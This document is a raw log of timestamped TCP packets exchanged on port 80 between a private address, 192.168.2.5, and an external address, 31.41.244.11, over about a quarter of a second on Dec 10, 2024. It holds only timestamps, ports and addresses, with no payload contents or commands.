Dec 10, 2024 05:10:12.384407043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.385292053 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.385334015 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.385426998 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.385471106 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.386333942 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.386373997 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.386437893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.386476994 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.387343884 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.387396097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.387433052 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.387473106 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.388402939 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.388463020 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.388495922 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.388534069 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.389394999 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.389448881 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.389533997 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.389574051 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.390419960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.390465975 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.390554905 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.390597105 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.391426086 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.391477108 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.391563892 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.391603947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.392446995 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.392492056 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.392569065 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.392615080 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.393467903 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.393517971 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.393599033 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.393635988 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.394515038 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.394561052 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.394629955 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.394682884 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.395541906 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.395586967 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.395617008 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.395656109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.396631002 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.396668911 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.396744967 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.396785975 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.397588015 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.397634029 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.397659063 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.397700071 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.398586035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.398646116 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.398701906 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.398744106 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.399612904 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.399667025 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.399707079 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.399751902 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.400638103 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.400687933 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.400744915 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.400789022 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.401719093 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.401777029 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.401787043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.401814938 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.402683973 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.402729034 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.402792931 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.402837992 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.403702974 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.403754950 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.403789997 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.403835058 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.404746056 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.404788971 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.404850960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.404896021 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.405797005 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.405843019 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.405853033 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.405896902 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.406923056 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.406934023 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.406971931 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.407804966 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.407852888 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.407941103 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.407985926 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.408889055 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.408900976 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.408937931 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.409890890 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.409945011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.409977913 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.410027027 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.410870075 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.410917044 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.410974979 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.411021948 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.411886930 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.411936045 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.412087917 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.412127972 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.412976027 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.412987947 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.413028002 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.413923025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.413968086 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.414033890 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.414081097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.415036917 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.415082932 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.415112019 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.415159941 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.415983915 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.416028976 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.416066885 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.416106939 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.417017937 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.417079926 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.417113066 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.417162895 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.418024063 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.418083906 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.418126106 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.418174028 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.419035912 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.419115067 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.419188976 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.419238091 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.420108080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.420166016 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.420209885 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.420259953 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.421128035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.421205997 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.421216965 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.421272039 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.422085047 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.422148943 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.560951948 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.560971022 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.561152935 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.561362028 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.561429977 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.561508894 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.561597109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.562375069 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.562431097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.562500954 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.562599897 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.563349962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.563421965 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.563474894 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.563596964 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.564388037 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.564441919 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.564538956 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.564608097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.565397978 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.565452099 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.565504074 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.565550089 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.566400051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.566443920 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.566521883 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.566560984 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.567428112 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.567503929 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.567538023 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.567584038 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.568469048 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.568520069 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.568577051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.568628073 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.569559097 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.569607973 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.569644928 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.569686890 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.570491076 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.570539951 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.570605040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.570652008 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.571528912 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.571584940 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.571646929 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.571696043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.572592974 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.572640896 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.572671890 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.572710037 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.573586941 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.573628902 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.573698997 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.573741913 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.574636936 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.574686050 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.574728012 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.574768066 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.575642109 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.575706959 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.575730085 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.575768948 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.576621056 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.576661110 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.576776028 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.576838017 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.577656984 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.577702045 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.577766895 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.577809095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.578674078 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.578754902 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.578778982 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.578819990 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.579718113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.579761028 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.579873085 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.579916000 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.580727100 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.580768108 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.580801964 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.580842018 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.581764936 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.581799984 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.581924915 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.581964970 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.582794905 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.582850933 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.582901955 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.582943916 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.583779097 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.583821058 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.583861113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.583901882 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.584851980 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.584893942 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.584974051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.585020065 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.585828066 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.585871935 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.585999966 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.586041927 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.586863041 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.586906910 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.586921930 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.586954117 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.587893009 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.587933064 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.588017941 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.588061094 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.588942051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.588980913 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.589040041 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.589078903 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.589912891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.589956045 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.590027094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.590065956 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.590953112 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.591017008 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.591095924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.591135979 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.591986895 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.592029095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.592078924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.592111111 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.593019962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.593060970 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.593101978 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.593142033 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.594082117 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.594124079 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.594156981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.594192028 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.595108032 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.595150948 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.595186949 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.595233917 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.596064091 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.596128941 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.596170902 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.596218109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.597121000 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.597163916 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.597203016 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.597242117 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.598109007 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.598153114 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.598222017 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.598263025 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.599123001 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.599168062 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.599253893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.599298000 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.600177050 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.600218058 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.600258112 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.600298882 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.601200104 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.601242065 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.601294994 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.601336002 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.602255106 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.602273941 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.602302074 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.602314949 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.603317022 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.603358984 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.603362083 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.603400946 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.604248047 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.604290962 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.604353905 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.604398966 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.605300903 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.605343103 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.605412960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.605451107 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.606282949 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.606344938 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.606424093 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.606468916 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.607362032 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.607417107 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.607439995 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.607481956 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.608427048 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.608472109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.608510017 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.608551979 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.609371901 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.609416008 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.609472990 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.609513044 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.610374928 CET	80	49833	31.41.244.11	192.168.2.5
